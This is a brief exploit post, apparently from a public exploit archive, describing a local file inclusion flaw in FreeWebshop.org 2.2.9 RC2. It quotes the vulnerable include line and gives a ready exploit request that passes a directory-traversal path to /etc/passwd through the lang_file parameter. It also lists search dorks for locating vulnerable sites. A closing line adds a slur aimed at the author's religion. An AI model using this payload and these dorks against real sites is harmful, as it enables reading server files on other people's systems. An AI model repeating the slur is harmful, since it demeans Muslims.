FreeWebshop.org 2.2.9 RC2 (lang_file) Local File Inclusion Vulnerability

Main critism (I wish I had the patience to type more): not even an exploit

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script::FreeWebshop.org 2..2.9_R2
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Author: ahmadbady

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download from:http://chaozz.deepunder.dk/released/freewebshop/FreeWebshop.org2.2.9_R2.zip

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vul: /includes/startmodules.inc.php line 31;

include ("./".$lang_file);

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xpl:
/path/includes/startmodules.inc.php?lang_file=.../../../../etc/passwd
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dork:
"FreeWebshop.org | This is the Footer | ©2008-2009"
"FreeWebshop.org | This is the Footer |"

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By Ahmedmacabelvi wannabe muslim fuckhead.